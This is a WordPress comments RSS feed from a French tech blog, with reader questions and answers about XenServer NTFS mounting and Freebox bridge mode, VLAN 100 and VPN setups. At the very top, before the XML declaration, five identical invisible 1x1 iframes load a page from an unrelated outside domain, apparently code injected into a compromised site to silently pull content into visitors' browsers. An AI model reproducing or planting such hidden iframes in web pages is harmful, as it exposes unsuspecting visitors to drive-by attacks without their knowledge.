<iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><iframe src=http://www.rufin-zanaga.org/stata.html WIDTH=1 HEIGHT=1 frameborder=0></IFRAME><?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Commentaires pour Blog a bug</title>
	<atom:link href="http://blogabug.com/comments/feed" rel="self" type="application/rss+xml" />
	<link>http://blogabug.com</link>
	<description>Le blog qui bug...</description>
	<lastBuildDate>Sun, 29 Jan 2012 02:22:22 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
	<item>
		<title>Commentaires sur Comment monter une partition NTFS sur Xenserver 5.6 par Jason</title>
		<link>http://blogabug.com/comment-monter-une-partition-ntfs-sur-xenserver-5-6.html#comment-33</link>
		<dc:creator>Jason</dc:creator>
		<pubDate>Sun, 29 Jan 2012 02:22:22 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=66#comment-33</guid>
		<description>Does not work on XenServer 6.0 by CLI</description>
		<content:encoded><![CDATA[<p>Does not work on XenServer 6.0 by CLI</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par pierre</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-32</link>
		<dc:creator>pierre</dc:creator>
		<pubDate>Mon, 02 Jan 2012 11:44:38 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-32</guid>
		<description>Malheureusement, je n&#039;ai aucune information supplémentaire sur les modèles de routeurs compatibles. Pfsense est une bonne solution car très complet et pas si difficile que ça à mettre en œuvre!

Pour vos questions :
- La plage d&#039;adresse du VLAN 100 semble être de type 192.168.27.x et la connexion entre le Serveur et le Player ce fait via un tunnel IPsec. Étant donné que c&#039;est Free qui gère ce VLAN, cela peut changer à n&#039;importe quel moment...
- Je ne vois pas en quoi le scénario N°2 est moins sécurisé que l&#039;utilisation normale de la Freebox révolution (le Player directement connecté derrière le Serveur) car cela revient typiquement au même.
- Pour L&#039;IPv6 je n&#039;ai pas eu le temps d&#039;investiguer un nouveau scénario. N&#039;hésitez pas à me recontacter si vous investiguez cette solution.

Bonne continuation.</description>
		<content:encoded><![CDATA[<p>Malheureusement, je n&#8217;ai aucune information supplémentaire sur les modèles de routeurs compatibles. Pfsense est une bonne solution car très complet et pas si difficile que ça à mettre en œuvre!</p>
<p>Pour vos questions :<br />
- La plage d&#8217;adresse du VLAN 100 semble être de type 192.168.27.x et la connexion entre le Serveur et le Player ce fait via un tunnel IPsec. Étant donné que c&#8217;est Free qui gère ce VLAN, cela peut changer à n&#8217;importe quel moment&#8230;<br />
- Je ne vois pas en quoi le scénario N°2 est moins sécurisé que l&#8217;utilisation normale de la Freebox révolution (le Player directement connecté derrière le Serveur) car cela revient typiquement au même.<br />
- Pour L&#8217;IPv6 je n&#8217;ai pas eu le temps d&#8217;investiguer un nouveau scénario. N&#8217;hésitez pas à me recontacter si vous investiguez cette solution.</p>
<p>Bonne continuation.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par pierre</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-31</link>
		<dc:creator>pierre</dc:creator>
		<pubDate>Mon, 02 Jan 2012 11:19:14 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-31</guid>
		<description>Désolé de ne pas avoir répondu plutôt. Il semble que vous avez réussi : http://blog.cogipix.com/general/technique/faire-communiquer-le-freebox-player-et-le-freebox-server-par-vpn (je donne le lien pour ceux que ça intéresse). 

Bonne continuation</description>
		<content:encoded><![CDATA[<p>Désolé de ne pas avoir répondu plutôt. Il semble que vous avez réussi : <a href="http://blog.cogipix.com/general/technique/faire-communiquer-le-freebox-player-et-le-freebox-server-par-vpn" rel="nofollow">http://blog.cogipix.com/general/technique/faire-communiquer-le-freebox-player-et-le-freebox-server-par-vpn</a> (je donne le lien pour ceux que ça intéresse). </p>
<p>Bonne continuation</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par Breizer</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-30</link>
		<dc:creator>Breizer</dc:creator>
		<pubDate>Mon, 02 Jan 2012 10:29:57 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-30</guid>
		<description>Merci pour ces précieuses informations!
Je préfère le scénario n°2 évidemment mais je ne suis pas assez compétent pour me lancer dans l&#039;aventure Pfsense sans connaissances Linux. J&#039;ai cherché quel routeur/firewall (avec fonction VPN SSL) du marché serait capable de faire un pontage du Vlan 100 entre le port Wan et le Lan... J&#039;ai regardé CISCO RV220W... Il gère bien les Vlans, mais pas sur l&#039;interface Wan, et il n&#039;est pas gérable en telnet (OS non IOS). J&#039;ai regardé le Netgear FVS336G et même problème et de plus, ce netgear ne gère pas les Vlans 802.1Q. Le Netgear UTM5 ou 10 gèrent les Vlan.. mais pas sur l&#039;interface Wan, et pas de pontage...
Du coup, pour le scénario n°2, je ne vois pas d&#039;autres solutions qu&#039;un Pfsense ou un DD-WRT... ce qui n&#039;est pas simple du tout et très chronophage pour les non experts Linux (surtout si on veut en plus la fonction VPN SSL).
Du coup, je penses mettre en oeuvre le scnénario n°1 avec un mini switch manageable entre la freebox et le routeur (cisco).
J&#039;ai quelques question:
- Quelle est la plage d&#039;adresse par défaut du Vlan 100 quand la freebox est en mode Bridge
- Le scénario 2 ne pose t&#039;il pas un problème de sécurité ? (un des ports du switch manageable étant tagué à la fois sur le LAN (Vlan 1) et sur le WAN (Vlan 100) donc en bypassant le routeur/Firewall? Mais c&#039;est sans doute la même chose avec le scénario 1 de toute façon.
- N&#039;y aurait pas une solution intéressante à investiguer autour de l&#039;activation de l&#039;IPV6 sur la freebox afin d&#039;avoir une IP publique sur la freebox serveur ET sur le routeur/firewall? Tout en continuant à desservir le VLAN 100 vers le LAN (qui serait en IPV4 derrière le routeur/firewall) au travers du switch manageable?

Encore merci pour vos réponses et idées!</description>
		<content:encoded><![CDATA[<p>Merci pour ces précieuses informations!<br />
Je préfère le scénario n°2 évidemment mais je ne suis pas assez compétent pour me lancer dans l&#8217;aventure Pfsense sans connaissances Linux. J&#8217;ai cherché quel routeur/firewall (avec fonction VPN SSL) du marché serait capable de faire un pontage du Vlan 100 entre le port Wan et le Lan&#8230; J&#8217;ai regardé CISCO RV220W&#8230; Il gère bien les Vlans, mais pas sur l&#8217;interface Wan, et il n&#8217;est pas gérable en telnet (OS non IOS). J&#8217;ai regardé le Netgear FVS336G et même problème et de plus, ce netgear ne gère pas les Vlans 802.1Q. Le Netgear UTM5 ou 10 gèrent les Vlan.. mais pas sur l&#8217;interface Wan, et pas de pontage&#8230;<br />
Du coup, pour le scénario n°2, je ne vois pas d&#8217;autres solutions qu&#8217;un Pfsense ou un DD-WRT&#8230; ce qui n&#8217;est pas simple du tout et très chronophage pour les non experts Linux (surtout si on veut en plus la fonction VPN SSL).<br />
Du coup, je penses mettre en oeuvre le scnénario n°1 avec un mini switch manageable entre la freebox et le routeur (cisco).<br />
J&#8217;ai quelques question:<br />
- Quelle est la plage d&#8217;adresse par défaut du Vlan 100 quand la freebox est en mode Bridge<br />
- Le scénario 2 ne pose t&#8217;il pas un problème de sécurité ? (un des ports du switch manageable étant tagué à la fois sur le LAN (Vlan 1) et sur le WAN (Vlan 100) donc en bypassant le routeur/Firewall? Mais c&#8217;est sans doute la même chose avec le scénario 1 de toute façon.<br />
- N&#8217;y aurait pas une solution intéressante à investiguer autour de l&#8217;activation de l&#8217;IPV6 sur la freebox afin d&#8217;avoir une IP publique sur la freebox serveur ET sur le routeur/firewall? Tout en continuant à desservir le VLAN 100 vers le LAN (qui serait en IPV4 derrière le routeur/firewall) au travers du switch manageable?</p>
<p>Encore merci pour vos réponses et idées!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par Piloo</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-24</link>
		<dc:creator>Piloo</dc:creator>
		<pubDate>Wed, 16 Nov 2011 21:59:34 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-24</guid>
		<description>A priori, certains signes sont tronqués (logique), je refais :
freebox_player :____: serveur (client vpn) :__VPN__(freebox_server) __: serveur VPN

Le &quot;(freebox_server)&quot; au milieu veut dire que le serveur VPN est derrière la freebox en mode bridge reliée sur une interface.</description>
		<content:encoded><![CDATA[<p>A priori, certains signes sont tronqués (logique), je refais :<br />
freebox_player :____: serveur (client vpn) :__VPN__(freebox_server) __: serveur VPN</p>
<p>Le &laquo;&nbsp;(freebox_server)&nbsp;&raquo; au milieu veut dire que le serveur VPN est derrière la freebox en mode bridge reliée sur une interface.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par Piloo</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-23</link>
		<dc:creator>Piloo</dc:creator>
		<pubDate>Wed, 16 Nov 2011 21:32:26 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-23</guid>
		<description>Merci pour ces précieuses explications  !
Pensez-vous que cette configuration est possible à travers un VPN ?
Je veux dire :
freebox_player  serveur (client vpn)                 freebox_server  serveur VPN
                                       
                                                                   VPN</description>
		<content:encoded><![CDATA[<p>Merci pour ces précieuses explications  !<br />
Pensez-vous que cette configuration est possible à travers un VPN ?<br />
Je veux dire :<br />
freebox_player  serveur (client vpn)                 freebox_server  serveur VPN</p>
<p>                                                                   VPN</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par pierre</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-3</link>
		<dc:creator>pierre</dc:creator>
		<pubDate>Mon, 24 Oct 2011 16:56:44 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-3</guid>
		<description>Vous pouvez mettre n’importe quelle configuration réseau sur les interfaces du VLAN 100 car votre routeur n&#039;a aucun besoin de communiquer avec les boitiers freebox sur ce même VLAN. Ce qui est important c&#039;est que le VLAN 100 soit bridgé entre le WAN et le LAN.</description>
		<content:encoded><![CDATA[<p>Vous pouvez mettre n’importe quelle configuration réseau sur les interfaces du VLAN 100 car votre routeur n&#8217;a aucun besoin de communiquer avec les boitiers freebox sur ce même VLAN. Ce qui est important c&#8217;est que le VLAN 100 soit bridgé entre le WAN et le LAN.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Commentaires sur Freebox mode bridge, multiposte TNT, Web, UPnP AV&#8230; par Yves</title>
		<link>http://blogabug.com/freebox-mode-bridge-et-multiposte-tnt-web-upnp-av.html#comment-2</link>
		<dc:creator>Yves</dc:creator>
		<pubDate>Mon, 24 Oct 2011 16:12:41 +0000</pubDate>
		<guid isPermaLink="false">http://blogabug.com/?p=30#comment-2</guid>
		<description>Merci pour ces infos. J’ai essayé de reproduire votre « Solution 2 » sur un routeur Netgear.
L’UTM5 prend théoriquement en charge les VLANs, mais  je cale sur ca configuration !
Il me demande de fournir une adresse IP, Subnet Mask, etc. ?</description>
		<content:encoded><![CDATA[<p>Merci pour ces infos. J’ai essayé de reproduire votre « Solution 2 » sur un routeur Netgear.<br />
L’UTM5 prend théoriquement en charge les VLANs, mais  je cale sur ca configuration !<br />
Il me demande de fournir une adresse IP, Subnet Mask, etc. ?</p>
]]></content:encoded>
	</item>
</channel>
</rss>

